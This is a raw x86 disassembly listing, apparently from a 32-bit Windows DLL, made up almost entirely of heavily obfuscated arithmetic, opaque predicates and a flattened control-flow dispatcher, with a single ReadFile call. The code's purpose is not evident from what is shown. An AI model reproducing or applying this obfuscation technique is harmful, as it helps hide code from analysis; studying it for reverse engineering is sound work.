or edx, esi
mov edi, ebx
xor edi, 0x1d20291d
xor ebx, 0xa0d64042
and ebx, 0xa2de40e2
and edi, 0x5d21bf1d
or edi, ebx
xor edi, edx
mov ecx, edi
xor ecx, 0x205040c0
mov esi, eax
xor esi, 0x9f8fa72f
mov ebx, esi
and esi, eax
mov edx, eax
not edx
mov eax, edi
xor eax, 0x5d21bf1d
and ebx, edx
xor edi, 0x3d51e7cd
and edi, eax
and ecx, 0x607058d0
or ecx, edi
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x365fbee1
and ebx, 0xc9a0411e
or ebx, ebp
mov ebp, esi
not ebp
or edi, ebp
and ebp, 0x365fbee1
and esi, 0xc9a0411e
or esi, ebp
xor esi, ebx
not edi
or edi, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, edi
xor esi, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xc7be0f28
and esi, 0x3841f0d7
or esi, edi
or ecx, eax
and eax, 0xc7be0f28
and edx, 0x3841f0d7
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xf00f97f1
and eax, ecx
mov esi, edx
and esi, 0x673d6650
and ecx, 0x98c299af
or ecx, esi
xor ecx, 0x2a19b097
or ecx, edx
or edx, eax
not eax
and eax, 0xff0680e
and edx, 0xf00f97f1
or edx, eax
mov eax, edx
not eax
and edx, 0x2dbf2249
and eax, 0xd240ddb6
or eax, edx
mov edx, eax
xor edx, 0x9f640b71
xor eax, 0xd240ddb6
and eax, edx
mov ebp, ecx
not ebp
mov edx, eax
not edx
mov dword [esp], edx
mov ebx, ecx
and ebx, 0x110b9c3b
mov edi, ebp
and edi, 0xeef463c4
or edi, ebx
mov ebx, edx
and ebx, 0x1d03263
mov edx, eax
and edx, 0xfe2fcd9c
or edx, ebx
mov dword [esp + 4], edx
mov esi, edi
xor esi, 0xeef463c4
xor edi, 0x110b9c3b
mov edx, edi
or edx, 0xa0b0198
and edx, 0xa1b31fa
mov ebx, esi
and ebx, 0x1c00201
or ebx, edx
or ecx, 0x103062
and ecx, 0xa1b31fa
and ebp, 0xf424cc04
or ebp, ecx
xor ebp, ebx
xor ebp, dword [esp + 4]
mov ecx, eax
and ecx, 0x10ae924f
mov edx, dword [esp]
and edx, 0xef516db0
or edx, ecx
or eax, edi
and edi, 0x10ae924f
and esi, 0xef516db0
or esi, edi
xor esi, edx
not eax
or eax, esi
not eax
or eax, ebp
mov ecx, eax
xor ecx, 0x4d24d6c7
xor eax, 0x80d92130
and ecx, 0x7e020a8a
and eax, 0x81fdf575
or eax, ecx
mov ecx, eax
xor ecx, 0x7e020a8a
mov edx, eax
xor edx, 0x81ccb414
and edx, 0xddcebc14
xor eax, 0x26646dd7
and eax, ecx
mov esi, ecx
and esi, 0x223143eb
or esi, edx
mov edx, esi
xor edx, 0x223143eb
xor esi, 0x55c60804
and esi, 0x55c64946
mov ecx, edx
and ecx, 0xaa39b6b9
or ecx, esi
xor ecx, 0xaa39b6b9
or ecx, edx
and edx, 0x5866675d
or eax, edx
xor eax, 0x5866675d
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x757e88c0
mov esi, ecx
and esi, 0x8a81773f
or esi, edx
mov edx, esi
xor edx, 0x80800402
xor esi, 0x10408800
or eax, 0x12409a00
or esi, 0x8054058
and esi, 0x1a45da58
and edx, 0xc1a20402
or edx, esi
and eax, 0x1a45da58
and ecx, 0x241821a5
or ecx, eax
xor ecx, edx
xor ecx, 0xcdbb3a8e
cmp ecx, 0xe1a65b73
setne cl
cmp dword [0x1004f90c], 0xa
setge byte [esp]
setl ch
mov eax, ecx
inc al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov ah, al
and ah, cl
mov bh, cl
xor ah, 1
mov byte [esp + 4], ah
or ah, al
mov cl, ah
xor cl, al
xor ah, 1
or ah, cl
mov dh, ah
and dh, al
mov cl, ch
mov dl, ch
or dl, al
xor al, ch
inc ch
mov bl, ah
xor bl, 1
mov byte [esp + 8], bh
and bl, bh
or dh, bl
or ah, bh
xor dh, 1
mov bl, dh
xor bl, ah
or dh, ah
xor dh, 1
or dh, bl
and cl, ch
xor cl, 1
mov ah, cl
xor ah, ch
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
inc ah
mov ch, ah
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov bh, cl
and bh, ah
xor bh, 1
or bh, cl
xor bh, 1
or bh, ah
xor bh, 1
xor ch, 1
mov bl, ch
xor bl, bh
or ch, bh
xor bl, 1
mov cl, ch
or cl, bl
xor cl, 1
xor bl, ch
or bl, cl
mov ecx, ebx
xor cl, 1
mov ah, bl
and ah, cl
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov cl, dh
xor cl, ch
and cl, dh
and ch, dh
mov bh, bl
xor bh, dh
or bl, dh
xor dh, 1
and ah, dh
or ch, ah
or ch, cl
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
mov cl, bl
and cl, bh
xor cl, 1
or cl, bh
xor cl, 1
or cl, bl
mov dh, cl
xor dh, 1
mov ah, dh
and ah, cl
mov bl, dh
xor bl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, bl
mov cl, ch
xor cl, 1
xor bh, cl
and ch, ah
xor ah, 1
and ah, cl
or dh, cl
mov cl, bh
xor cl, 1
xor dh, 1
or dh, ch
or dh, ah
mov ch, cl
and ch, bh
xor ch, 1
mov ah, bh
xor ah, ch
or ch, bh
mov bl, dh
xor bl, 1
xor ch, 1
or ch, ah
mov ah, ch
and ch, bl
xor ah, 1
and ah, dh
or ch, ah
or dh, cl
xor ch, 1
mov cl, ch
xor cl, dh
or ch, dh
xor ch, 1
or ch, cl
movzx ebx, byte [esp + 8]
mov cl, bl
mov ah, byte [esp + 4]
xor cl, ah
or ah, bl
xor ah, 1
or cl, bl
or cl, ah
mov ah, cl
xor ah, 1
mov dh, ah
and dh, cl
xor ah, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, ah
mov cl, bl
xor cl, dh
xor dh, 1
or dh, bl
mov ah, dh
xor ah, cl
or dh, cl
xor dh, 1
or dh, ah
mov cl, dh
xor cl, 1
mov ah, dh
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dh
mov cl, byte [esp]
xor ah, cl
xor bl, cl
and al, dl
xor dl, 1
or dl, bl
xor al, 1
mov cl, dl
or cl, al
xor cl, 1
xor al, dl
or al, cl
mov cl, ah
xor cl, al
mov edx, ecx
xor dl, 1
or al, ah
or dl, al
xor al, cl
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov cl, al
and cl, dl
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
or dl, ah
mov al, dl
xor al, 1
mov dh, dl
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, dl
mov dl, dh
xor dl, 1
mov al, dh
or al, ah
mov bl, ah
xor bl, dl
and bl, ah
and dl, ah
xor ah, dh
and al, ah
and dh, cl
or dl, dh
mov cl, bl
xor cl, 1
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov cl, dl
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor cl, 1
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov dh, cl
xor dh, ah
or ah, cl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov dh, ah
xor dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov ah, cl
xor ah, 1
mov dh, cl
xor dh, al
and dh, cl
and ah, dl
and cl, al
or cl, ah
mov al, dh
xor al, 1
xor dh, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov ah, dh
and ah, cl
mov al, ah
xor al, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov ah, bl
and ah, dl
xor bl, ah
xor ah, 1
or ah, dl
mov dl, ch
xor dl, 1
xor ah, 1
or ah, bl
xor ah, dh
or al, cl
xor al, 1
or al, dh
mov dh, al
xor dh, 1
and al, dh
xor al, 1
mov cl, al
xor cl, dh
or al, dh
xor al, 1
or al, cl
xor al, 1
mov cl, dl
xor cl, al
or al, ch
and cl, ch
xor ch, ah
and ch, ah
or ah, dl
xor ch, 1
mov bl, ah
or bl, ch
xor ch, ah
xor ch, 1
mov ah, ch
xor ah, bl
or ch, bl
xor ch, 1
or ch, ah
xor al, 1
or cl, al
mov eax, edx
or al, dh
xor al, 1
xor dh, dl
or dh, al
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, ch
xor ah, 1
and ah, ch
xor ah, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
mov dh, al
xor dh, 1
xor ah, 1
or ah, ch
mov dl, al
and dl, dh
xor dl, 1
or dl, dh
xor dl, 1
or dl, al
xor ah, dl
mov dl, ah
xor dl, 1
xor dh, cl
or cl, al
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
mov al, cl
xor al, 1
mov ch, al
and ch, cl
xor al, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov dh, dl
and dh, ah
xor dh, 1
or dh, ah
mov cl, al
and cl, ch
xor dh, 1
or dh, dl
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov ah, dh
xor ah, 1
and ah, cl
xor cl, 1
and cl, dh
or cl, ah
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa931900b
mov esi, 0x56bc69ad
cmovne edx, esi
test al, 1
mov edi, 0xa931900b
cmovne edi, edx
test cl, 1
cmove edi, edx
jmp 0x10011930
mov dword [esp + 0x4c], 0
push 0
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x38]
push dword [esp + 0x38]
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, 0x9eee8e7b
jmp 0x10011930
mov edi, 0x5c05ee9b
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
or eax, 0x60a03001
mov edi, edx
or edi, 0x40400
and eax, 0x60a43401
mov ebx, edx
and ebx, 0x930a4ae4
or ebx, eax
and edi, 0x60a43401
mov esi, ecx
and esi, 0xc51811a
or esi, edi
xor esi, ebx
mov eax, esi
xor eax, 0x4c0b100
add esi, 0x80000000
and esi, 0xa0300000
and eax, 0x4c6b540
or eax, esi
mov edi, eax
xor edi, 0x4c6b540
or edi, 0x5b094abf
xor eax, 0x20300000
mov esi, edx
and esi, 0xc2b3ea64
mov ebx, ecx
and ebx, 0x3d4c159b
or ebx, esi
xor ebx, 0x99baa0db
or ebx, edx
mov esi, edi
or esi, ebx
and edi, 0x8e4ae14e
and eax, 0x20b41400
or eax, edi
xor eax, ebx
mov edi, eax
xor edi, 0x71b51eb1
xor eax, 0x8e4ae14e
mov ebx, eax
and ebx, 0x21663b9d
and edi, 0xde99c462
or edi, ebx
or eax, esi
and esi, 0xa5f6bfdd
xor esi, edi
xor esi, 0x84908440
not eax
or eax, esi
mov edi, eax
not edi
mov esi, eax
xor esi, 0x5b094abf
and esi, eax
or eax, 0xa4f6b540
mov ebx, esi
not ebx
mov ebp, eax
and ebp, 0x255db05c
and edi, 0x5a004aa3
or edi, ebp
or eax, ebx
and ebx, 0x255db05c
and esi, 0xdaa24fa3
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, ecx
xor esi, 0x2476c727
and esi, ecx
mov ebx, ecx
or ebx, 0xd08938c0
mov edi, esi
not edi
and ebx, 0xf0fbb9e4
and edx, 0x4044603
or edx, ebx
or ecx, edi
and edi, 0xf0fbb9e4
and esi, 0xf04461b
or esi, edi
xor esi, edx
not ecx
or ecx, esi
not esi
and esi, 0xdb8938d8
and ecx, 0x2476c727
or ecx, esi
mov esi, ecx
not esi
mov ebx, ecx
xor ebx, 0xd50d0337
mov ebp, ebx
and ebp, esi
and ebx, ecx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x1144cc9b
and ebp, 0xeebb3364
or ebp, edx
mov edx, ebx
not edx
or edi, edx
and edx, 0x1144cc9b
and ebx, 0xeebb3364
or ebx, edx
mov edx, eax
not edx
xor ebx, ebp
not edi
or edi, ebx
xor edi, 0x2af2fcc8
and ecx, 0xa576aa3c
and esi, 0x5a8955c3
or esi, ecx
mov ecx, esi
xor ecx, 0xa0548200
xor esi, 0x58815502
and esi, 0x5da37d3e
and ecx, 0xa25c82c1
or ecx, esi
xor ecx, 0xa25c82c1
or ecx, edi
mov edi, ecx
not edi
mov esi, edi
and esi, ecx
mov ebx, esi
not ebx
mov ebp, ecx
and ebp, 0x2f639723
and edi, 0xd09c68dc
or edi, ebp
or ecx, ebx
and ebx, 0x2f639723
and esi, 0xd09c68dc
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xc6d1745a
and ecx, 0x392e8ba5
or ecx, edi
xor ecx, 0xc6d1745a
xor esi, ecx
and esi, ecx
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x3f54fc80
and esi, 0xc0ab037f
or esi, ecx
mov ecx, esi
xor ecx, 0xc0ab037f
and ecx, edx
xor esi, 0x3f54fc80
and esi, eax
or esi, ecx
not esi
or esi, edx
xor edx, edi
or edi, eax
and edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x3a684ca
and edx, 0xfc597b35
or edx, eax
xor edx, edi
xor edx, 0xfc597b35
or ecx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
xor ecx, eax
and ecx, esi
or esi, eax
not esi
xor ecx, eax
or ecx, esi
mov edx, ecx
not edx
mov eax, edx
or eax, 0xb848a9c6
mov esi, edx
and esi, 0xb848a9c6
mov edi, ecx
and edi, 0x47b75638
or edi, esi
and eax, 0xb848a9c7
xor eax, edi
mov edi, edx
and edi, 0xfb4d6e8d
mov esi, ecx
and esi, 0x4b29172
or esi, edi
mov edi, esi
xor edi, 0x4b29172
xor esi, 0xfb4d6e8d
and esi, eax
not eax
and edi, eax
or esi, edi
xor eax, esi
and eax, esi
mov esi, ecx
and esi, 0x8356d88b
mov ebx, edx
and ebx, 0x7ca92774
or ebx, esi
mov esi, ebx
xor esi, 0x81020003
xor ebx, 0x74812030
or ebx, 0xa6c4fcc
and ecx, 0xf95e5e4d
mov edi, edx
and edi, 0x6a1a1b2
or edi, ecx
xor edi, 0xccdee7e
and edx, 0xf593b033
or edx, edi
mov ecx, edx
not ecx
mov edi, ebx
or edi, edx
and ebx, 0x8b0f410
and esi, 0xf5030023
or esi, ebx
and edx, 0x8b0f410
and ecx, 0xf74f0bef
or ecx, edx
xor ecx, esi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x8cef3c5a
and ecx, 0x7310c3a5
or ecx, edx
or esi, edi
and edi, 0xfdffbc7b
xor edi, ecx
xor edi, 0x71108021
not esi
or esi, edi
mov edx, esi
xor edx, 0xa6c4fcd
xor esi, 0xf593b032
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x21168eb8
mov edi, eax
and edi, 0xdee97147
or edi, ecx
mov ecx, edx
and ecx, 0x21168eb8
mov ebp, esi
and ebp, 0xdee97147
or ebp, ecx
xor ebp, edi
mov ecx, ebp
xor ecx, ebx
and ecx, ebp
and ebx, 0xc50d9719
mov edi, eax
and edi, 0x3af268e6
or edi, ebx
xor edi, esi
xor edi, 0x3af268e6
and edi, edx
xor edx, eax
and edx, eax
mov eax, edi
not eax
mov esi, edx
not esi
mov ebx, eax
and ebx, 0xad56c3a
and edi, 0xf52a93c5
or edi, ebx
or eax, esi
and esi, 0xad56c3a
and edx, 0xf52a93c5
or edx, esi
xor edx, edi
not eax
or eax, edx
mov edi, ecx
not edi
mov esi, eax
not esi
mov edx, edi
or edx, esi
not edx
and edi, 0x8ec94095
and ecx, 0x7136bf6a
or ecx, edi
and esi, 0x8ec94095
and eax, 0x7136bf6a
or eax, esi
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x6ca521ed
and ecx, eax
mov edx, eax
mov esi, eax
mov edi, eax
xor edi, 0x4f702ed5
and edi, eax
mov ebx, eax
not ebx
mov eax, ebx
or eax, ecx
not ecx
and ecx, 0x935ade12
and eax, 0x6ca521ed
or eax, ecx
and edx, 0x96b95c5c
mov ecx, ebx
and ecx, 0x6946a3a3
or ecx, edx
xor ecx, 0x6946a3a3
or ecx, ebx
mov edx, eax
not edx
mov ebp, edx
or ebp, ecx
not ebp
and edx, 0x291d8b97
and eax, 0xd6e27468
or eax, edx
xor eax, ecx
xor eax, 0xd6e27468
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x81044a72
and eax, 0x7efbb58d
or eax, edx
xor eax, 0x7efbb58d
or eax, ecx
and ebx, 0x4b400c55
and esi, 0x4302280
or esi, ebx
xor esi, 0x4302280
or esi, edi
not edi
and edi, 0xb08fd12a
and esi, 0x4f702ed5
or esi, edi
mov edx, esi
or edx, 0xa2802a60
mov ebx, esi
not ebx
mov edi, esi
xor edi, 0x5d7fd59f
and edi, esi
mov ecx, edx
and ecx, 0x700cf3d6
mov ebp, ebx
and ebp, 0xd730409
or ebp, ecx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0x700cf3d6
and edi, 0x8ff30c29
or edi, ecx
mov ecx, eax
not ecx
xor edi, ebp
not edx
or edx, edi
mov edi, edx
xor edi, 0xa0800060
and esi, 0x9a058ff3
and ebx, 0x65fa700c
or ebx, esi
mov esi, ebx
xor esi, 0x88018a83
xor ebx, 0x7a300c
and ebx, 0x127e357c
and esi, 0xed81ca83
or esi, ebx
mov ebx, esi
xor ebx, 0xac804001
xor esi, 0x127e357c
xor edx, 0x5d7fd59f
mov ebp, edx
and ebp, 0x532daf92
and edi, 0xacd2506d
or edi, ebp
or edx, esi
and esi, 0x532daf92
and ebx, 0xacd2506d
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov esi, edx
not esi
mov edi, esi
and edi, 0xba66c212
and esi, edx
and edx, 0x45993ded
or edx, edi
xor edx, 0x45993ded
or edx, esi
mov esi, edx
mov edi, edx
mov ebx, edx
xor ebx, 0x27ebbb90
and ebx, edx
not edx
mov ebp, edx
and ebp, 0x2b702f9
and esi, 0xfd48fd06
or esi, ebp
xor esi, 0xfd48fd06
or esi, eax
and eax, 0x4a31210
mov ebp, ecx
and ebp, 0x2348a980
or ebp, eax
mov eax, esi
not eax
xor ebp, 0x2348a980
and ecx, 0xd814446f
or ecx, ebp
and edx, 0x26e08a90
and edi, 0x10b3100
or edi, edx
mov edx, edi
xor edx, 0xb1000
xor edi, 0xfef4ceff
mov ebp, edi
and ebp, 0x53e42f20
and edx, 0x240b9090
or edx, ebp
mov ebp, ebx
not ebp
or edi, ebp
and ebp, 0x53e42f20
and ebx, 0xac1bd0df
or ebx, ebp
xor ebx, edx
not edi
or edi, ebx
mov edx, edi
xor edx, edi
not edx
and edx, ecx
xor edx, edi
mov ecx, esi
and ecx, 0x4e332576
xor esi, 0x264f9e81
and esi, eax
mov ebx, eax
and ebx, 0xb1ccda89
or ebx, ecx
mov eax, ebx
xor eax, 0xb1ccda89
mov ecx, ebx
xor ecx, 0x48302176
or ecx, 0x264f9e81
xor ebx, 0x80800000
mov edi, edx
xor edi, 0xd9b0617e
mov ebp, ecx
and ebp, 0x3b0bdc7f
and ebx, 0xc0b02100
or ebx, ebp
mov ebp, esi
not ebp
or ecx, ebp
and ebp, 0x3b0bdc7f
and esi, 0xc4f42380
or esi, ebp
mov ebp, edi
and edi, edx
not edx
and ebp, edx
xor esi, ebx
not ecx
or ecx, esi
mov ebx, ebp
not ebx
mov esi, ebx
and esi, 0xb378c4e3
and ebp, 0x4c873b1c
or ebp, esi
mov esi, edi
not esi
or ebx, esi
and esi, 0xb378c4e3
and edi, 0x4c873b1c
or edi, esi
xor edi, ebp
not ebx
or ebx, edi
xor ebx, ecx
or edx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0x93237204
and ebx, 0x6cdc8dfb
or ebx, eax
xor ebx, edx
xor ebx, 0x6cdc8dfb
or esi, edx
not esi
or esi, ebx
mov edx, esi
not edx
mov ecx, esi
or ecx, 0x14088028
mov eax, edx
and eax, 0x147d11
and ecx, 0xb5c8826e
or ecx, eax
mov eax, ecx
xor eax, 0x21000044
xor ecx, 0x4a377d91
and edx, 0x100380a0
and esi, 0x4e280008
or esi, edx
mov edx, esi
xor edx, 0x2080008
or edx, 0x20047216
xor esi, 0x10020020
and esi, 0x5c220020
and edx, 0x220df29e
or edx, esi
mov edi, edx
xor edi, 0x220df29e
mov esi, edx
xor esi, 0x45820001
and esi, 0x658fa20b
xor edx, 0x42a0028
and edx, edi
and edi, 0x1a2000a0
or edi, esi
mov esi, edi
xor esi, 0x9a705df4
or esi, ecx
and ecx, 0x84f19a23
and eax, 0x21046554
or eax, ecx
mov ecx, edi
xor ecx, 0x4838203
or ecx, 0x790c655c
xor edi, 0x2200020
mov ebx, edx
not ebx
mov ebp, ecx
and ebp, 0x2c8c81c3
and edi, 0x2230220
or edi, ebp
or ecx, ebx
and ebx, 0xacdc99c3
and edx, 0x52230028
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0x2020000
xor ecx, 0xfdfdff7f
mov edx, ecx
and edx, 0x7ce842e7
and eax, 0x8317bd18
or eax, edx
or ecx, esi
and esi, 0x7dec62e7
xor esi, eax
xor esi, 0x1042000
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x40a582c0
mov esi, ecx
and esi, 0x9480438
or esi, edx
mov edx, esi
xor edx, 0x1400018
xor esi, 0xf203b103
or eax, 0x48098420
and esi, 0xfa0bb523
and edx, 0x1e402d8
or edx, esi
and eax, 0xfa0bb523
and ecx, 0x4104804
or ecx, eax
xor ecx, edx
mov edi, ecx
xor edi, 0x17c60650
xor ecx, 0xe839f9af
mov eax, edi
or eax, 0x18c401
mov edx, ecx
or edx, 0x226238c0
and eax, 0x227afcc1
mov esi, ecx
and esi, 0x10810228
or esi, eax
and edx, 0x227afcc1
mov ebx, edi
and ebx, 0xcd040116
or ebx, edx
xor ebx, esi
mov edx, ebx
xor edx, 0xcd1cc517
mov dword [esp], edx
xor ebx, 0x32e33ae8
mov eax, ebx
mov dword [esp + 4], ebx
and eax, 0xa2b19247
and edx, 0x5d4e6db8
or edx, eax
xor edx, 0x249a592a
mov eax, edx
xor eax, ebx
and eax, edx
and edi, 0xc0deefea
mov edx, ecx
and edx, 0x3f211015
or edx, edi
xor edx, 0xb90adb78
and ecx, 0x79d43492
or ecx, edx
mov edi, ecx
not edi
mov dword [esp + 8], edi
mov edx, ecx
and edx, 0x1d946204
and edi, 0xe26b9dfb
or edi, edx
mov ebp, eax
not ebp
mov dword [esp + 0xc], ebp
mov edx, eax
or edx, 0xe10490c6
and edx, 0xff46d4c6
mov ebx, ebp
and ebx, 0x311
or ebx, edx
or ebp, 0x1e424400
and ebp, 0xff46d4c6
mov edx, eax
and edx, 0xb92828
or edx, ebp
xor edx, ebx
mov ebx, edi
xor ebx, 0xe26b9dfb
xor edi, 0x1d946204
mov ebp, edi
or ebp, 0xe0309886
and ebp, 0xe8709f87
mov esi, ebx
and esi, 0x16024010
or esi, ebp
or ecx, 0x8400701
and ecx, 0xe8709f87
mov ebp, dword [esp + 8]
and ebp, 0x18d2068
or ebp, ecx
xor ebp, esi
xor ebp, edx
mov edx, ebp
mov ecx, eax
and ecx, 0xec291205
mov esi, dword [esp + 0xc]
and esi, 0x13d6edfa
or esi, ecx
or eax, edi
and edi, 0xec291205
and ebx, 0x13d6edfa
or ebx, edi
xor ebx, esi
not eax
or eax, ebx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xf61b25b3
and ecx, eax
or eax, 0x9e4da4c
mov esi, ecx
not esi
mov edi, eax
and edi, 0x93e42023
and edx, 0x641b0590
or edx, edi
or eax, esi
and esi, 0x93e42023
and ecx, 0x6c1bdfdc
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x8fcf1121
mov ebp, ecx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
and ecx, 0x8afe7d9
mov esi, dword [esp]
mov edi, esi
and edi, 0xf7501826
or edi, ecx
mov edx, edi
xor edx, 0xf7501826
mov ecx, edi
xor ecx, 0x2fb9a098
and ecx, edx
and esi, 0xd8e9b8be
or esi, ecx
xor esi, 0xd8e9b8be
mov ecx, esi
xor edi, 0xa48440
and edi, 0xd5e49c46
and edx, 0x2a1b63b9
or edx, edi
mov esi, edx
xor esi, 0x1c41446
xor edx, 0x281023b0
and edx, 0xfc30abb0
and esi, 0x3cf544f
or esi, edx
xor esi, 0x3cf544f
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x757a5e7e
and esi, 0x8a85a181
or esi, ecx
mov edi, eax
xor edi, 0x7030eede
mov dword [esp], edi
xor eax, 0xe72bf2f3
and eax, edi
or edi, 0x68e4e3d2
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x1de4d9d8
and eax, 0xe21b2627
or eax, ecx
or ebx, edi
and edi, 0x1de4d9d8
mov ecx, ebp
and ecx, 0x821b0425
or ecx, edi
mov edi, esi
xor edi, 0x757a5e7e
xor ecx, eax
mov ebp, esi
xor esi, 0xe2614253
not ebx
or ebx, ecx
mov eax, esi
and eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x56010c19
and eax, 0xa9fef3e6
or eax, edx
xor ebp, 0x8a85a181
and esi, ebp
mov edx, esi
not edx
or ecx, edx
and edx, 0x56010c19
and esi, 0xa9fef3e6
or esi, edx
xor esi, eax
not ecx
or ecx, esi
xor ecx, ebx
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0xa3652d2b
mov esi, dword [esp]
and esi, 0x5c9ad2d4
or esi, eax
or edx, ebp
and ebp, 0xa3652d2b
and edi, 0x5c9ad2d4
or edi, ebp
xor edi, esi
not edx
or edx, edi
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
mov edi, edx
and ecx, 0x96b59f8f
mov edx, eax
and edx, 0x694a6070
or edx, ecx
mov ecx, edx
xor ecx, 0x6901502
xor edx, 0x60080040
and edx, 0xf02d8acd
and ecx, 0xfd27532
or ecx, edx
mov edx, ecx
xor edx, 0xfd27532
xor ecx, 0xf0098084
and ecx, 0xf39b85a6
mov esi, edx
and esi, 0xc647a59
or esi, ecx
xor esi, 0x2083df38
and edx, 0xd3185a9e
or edx, esi
mov esi, edx
not esi
and edi, 0x39b4507
mov ecx, eax
and ecx, 0xfc64baf8
or ecx, edi
xor ecx, 0x2f7ce066
and eax, 0x2ce7a561
or eax, ecx
mov ebp, eax
not ebp
mov ecx, edx
and ecx, 0xdecb5a7a
xor edx, 0x9452ac47
and edx, esi
and esi, 0x2134a585
or esi, ecx
mov dword [esp], esi
mov ecx, eax
and ecx, 0x89b16ee
xor eax, 0x9452ac47
and eax, ebp
and ebp, 0xf764e911
or ebp, ecx
mov edi, esi
xor edi, 0xdecb5a7a
mov dword [esp + 4], edi
or edi, 0x9452ac47
xor esi, 0x20200080
mov ebx, edi
and ebx, 0x13972b11
and esi, 0x682850a8
or esi, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0x13972b11
and edx, 0xec68d4ee
or edx, ebx
xor edx, esi
mov esi, ebp
xor esi, 0x89b16ee
not edi
or edi, edx
mov edx, esi
or edx, 0x9452ac47
mov ebx, ebp
xor ebp, 0x62000100
mov ecx, edx
and ecx, 0x956eca1d
and ebp, 0x6a8111a0
or ebp, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x956eca1d
and eax, 0x6a9135e2
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ecx, dword [esp]
xor ecx, 0x1042101
xor edx, edi
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0x6abaccb4
and ecx, 0x9545334b
or ecx, eax
xor ebx, 0x95442101
or edi, esi
mov eax, edi
and esi, 0x6abaccb4
and ebx, 0x9545334b
or ebx, esi
xor ebx, ecx
not eax
or eax, ebx
mov esi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xfce3da66
and edx, 0x31c2599
or edx, ecx
xor edx, esi
xor edx, 0x31c2599
or eax, esi
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xd208109c
